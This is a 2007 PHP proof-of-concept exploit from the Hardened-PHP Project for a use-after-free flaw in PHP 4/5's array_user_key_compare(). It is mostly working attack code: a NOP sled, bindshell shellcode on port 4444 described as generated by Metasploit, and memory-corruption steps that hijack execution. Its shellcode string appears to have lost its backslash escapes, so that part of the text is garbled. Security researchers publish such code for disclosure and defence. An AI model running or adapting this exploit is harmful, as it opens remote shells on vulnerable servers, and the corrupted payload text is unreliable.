<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ | || || _  //
  // | __ |/ _` || '_|/ _` |/ -_)| '  / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|__,_||_|  __,_|___||_||_|___|__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //        PHP 4/5 - array_user_key_compare() ZVAL dtor exploit        //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // You can put in any shellcode you want. Just make sure that the
  // shellcode string starts with enough NOP space

  // NOPSPACE
  $shellcode = str_repeat(chr(0x90), 710);
  // A bindshell on port 4444 generated by Metsploit
  $shellcode .= "x29xc9x83xe9xebxd9xeexd9x74x24xf4x5bx81x73x13x46".
      "x32x3cxe5x83xebxfcxe2xf4x77xe9x6fxa6x15x58x3ex8f".
      "x20x6axa5x6cxa7xffxbcx73x05x60x5ax8dx57x6ex5axb6".
      "xcfxd3x56x83x1ex62x6dxb3xcfxd3xf1x65xf6x54xedx06".
      "x8bxb2x6exb7x10x71xb5x04xf6x54xf1x65xd5x58x3exbc".
      "xf6x0dxf1x65x0fx4bxc5x55x4dx60x54xcax69x41x54x8d".
      "x69x50x55x8bxcfxd1x6exb6xcfxd3xf1x65";

  $arr = array(str_repeat("A", 39) => 1, "B" => 1);

  function array_compare(&$key1, &$key2)
  {
    $GLOBALS['a'] = &$key2;
    unset($key2);
    return 1;
  }

  uksort($arr, "array_compare");
  $x=array($shellcode => 1);

  $a[8*4+0] = $a[6*4+0];
  $a[8*4+1] = chr(ord($a[6*4+1])+2); // <--- This only works for Little Endian
  $a[8*4+2] = $a[6*4+2];
  $a[8*4+3] = $a[6*4+3];

  unset($x);

?>

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